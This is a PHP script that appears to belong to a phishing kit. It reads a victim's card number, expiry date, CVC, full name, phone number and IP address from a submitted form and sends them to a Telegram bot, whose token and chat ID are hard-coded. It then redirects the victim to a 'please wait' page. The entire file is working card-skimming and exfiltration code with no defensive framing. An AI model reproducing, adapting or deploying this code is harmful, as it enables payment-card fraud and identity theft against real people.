<?php
$ip = getenv("REMOTE_ADDR");
$message .= "---CARD INFO---\n";
$message .= "  CardNumber    :   ".$_POST['CardNumber']."  \n";
$message .= "  ExxDate     :   ".$_POST['ExxDate']."  \n";
$message .= "  CVC         :   ".$_POST['CVC']."  \n";
$message .= "  FullName  :   ".$_POST['FullName']."  \n";
$message .= "  Phonenumber  :   ".$_POST['Phonenumber']."  \n";
$message .= "-------------------\n";
$message .= "IP: ".$ip."\n";
$message .= "---------------------------------------------------\n";

        // Define your bot tokens
        file_get_contents("https://api.telegram.org/bot8230036797:AAEn7vvHrk5SF628aV7IfxBm2dujlmF-tPo/sendMessage?chat_id=-4857187582&text=" . urlencode($message)."" );


header("Location: ../Bitte/Warten-1.php");

?>
